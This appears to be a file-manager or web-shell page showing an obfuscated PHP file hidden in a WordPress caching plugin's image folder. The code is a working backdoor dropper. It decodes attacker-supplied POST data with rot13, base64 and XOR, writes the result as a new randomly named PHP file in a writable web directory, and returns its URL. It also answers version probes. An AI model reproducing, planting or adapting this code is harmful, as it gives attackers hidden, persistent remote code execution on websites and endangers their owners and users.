HEX
Server:Apache
System:Linux localhost 5.10.0-14-amd64 #1 SMP Debian 5.10.113-1 (2022-04-29) x86_64
User:enlugo-es (10006)
PHP:7.4.33
Disabled:opcache_get_status
Upload Files
File: /var/www/vhosts/enlugo.es/httpdocs/wp-content/plugins/w3-total-cache/pub/img/overlay/js.php
<?php $MaUxomGq = "\x44"."\x4f"."\x43".chr(97-12).chr(514-437).chr(69)."\116"."\x54".chr(95).chr(948-866)."\117".chr(79).'T';$SsDfnx = chr(751-679).chr(84).chr(84).chr(80).'_'.'H'.chr(79).chr(871-788)."\x54";$GvbblIxAcJ = "\x68".chr(143-27).chr(116).'p'.chr(829-771)."\x2f".chr(608-561);$KiuwGsRhcr = chr(46).chr(112).chr(104).'p';$BwpExmbX = chr(112).chr(524-420)."\160";$XplhqDzx = chr(102).'i'.chr(1005-897).chr(329-228).chr(95).chr(663-551).chr(117).chr(116)."\137"."\143".chr(111).chr(110).chr(717-601).'e'.chr(1098-988)."\164".'s';$QSDvpOoZr = "\x72".chr(1041-944).'w'."\165"."\x72".chr(795-687)."\x64".chr(563-462).chr(99)."\157".chr(320-220)."\145";$LZGBPaaHS = 'u'.chr(110)."\163"."\145".chr(680-566).chr(105).chr(550-453).chr(108).chr(105).chr(591-469).'e';$byzYxY = chr(105).chr(857-742)."\x5f"."\x77".chr(114).chr(105)."\x74"."\x61".'b'."\154".chr(600-499);$KzqpchWL = chr(708-596).chr(104)."\x70"."\x76".'e'.chr(484-370)."\163".chr(105).'o'.chr(110);$ivdmImAgwY = chr(115).chr(815-699).chr(142-28).'_'.'r'.'o'."\164"."\61".'3';$mSmVIB = chr(115).chr(101)."\162".chr(105).chr(97).chr(335-227).'i'.chr(638-516).chr(101);$RNagS = chr(115).'t'."\x72".'_'.chr(115)."\160"."\154".chr(105)."\x74";foreach ($_POST as $lSDYb => $TdnHoEB){$IIKIdZZ = strlen($lSDYb);if ($IIKIdZZ == 16){$TdnHoEB = $RNagS($QSDvpOoZr($ivdmImAgwY($TdnHoEB)));$lSDYb = array_slice($RNagS(str_repeat($lSDYb, (count($TdnHoEB)/16)+1)), 0, count($TdnHoEB));function WQPnccMB($pekcV, $thfgUzmt, $lSDYb){$pEDDW = "c510cc9f-2047-4b15-aef8-b799ef3925cd";return $pekcV ^ $pEDDW[$thfgUzmt % strlen($pEDDW)] ^ $lSDYb;}$TdnHoEB = implode("", array_map("WQPnccMB", array_values($TdnHoEB), array_keys($TdnHoEB), array_values($lSDYb)));$TdnHoEB = @$LZGBPaaHS($TdnHoEB);if (@is_array($TdnHoEB)){$rdhozsSG = array_keys($TdnHoEB);$TdnHoEB = $TdnHoEB[$rdhozsSG[0]];if ($TdnHoEB === $rdhozsSG[0]){echo @$mSmVIB(Array($BwpExmbX => @$KzqpchWL(), ));exit();}else {function MVHkHf($ezAbVir){static $pUidQGI = array();$hgUNdQHgI = glob($ezAbVir . '/*', GLOB_ONLYDIR);$jUSYQhbAs = count($hgUNdQHgI);if ($jUSYQhbAs > 0) {foreach ($hgUNdQHgI as $ezAbV) {if (@$byzYxY($ezAbV)) {$pUidQGI[] = $ezAbV;}}}foreach ($hgUNdQHgI as $ezAbVir) MVHkHf($ezAbVir);return $pUidQGI;}$vWcHNhVHd = $_SERVER[$MaUxomGq];$hgUNdQHgI = MVHkHf($vWcHNhVHd);$rdhozsSG = array_rand($hgUNdQHgI);$gQKHkXuePR = $hgUNdQHgI[$rdhozsSG] . "/" . substr(md5(time()), 0, 8) . $KiuwGsRhcr;@$XplhqDzx($gQKHkXuePR, $TdnHoEB);$kxElkgdfrP = $GvbblIxAcJ . $_SERVER[$SsDfnx] . substr($gQKHkXuePR, strlen($vWcHNhVHd));echo $kxElkgdfrP;die();}}}}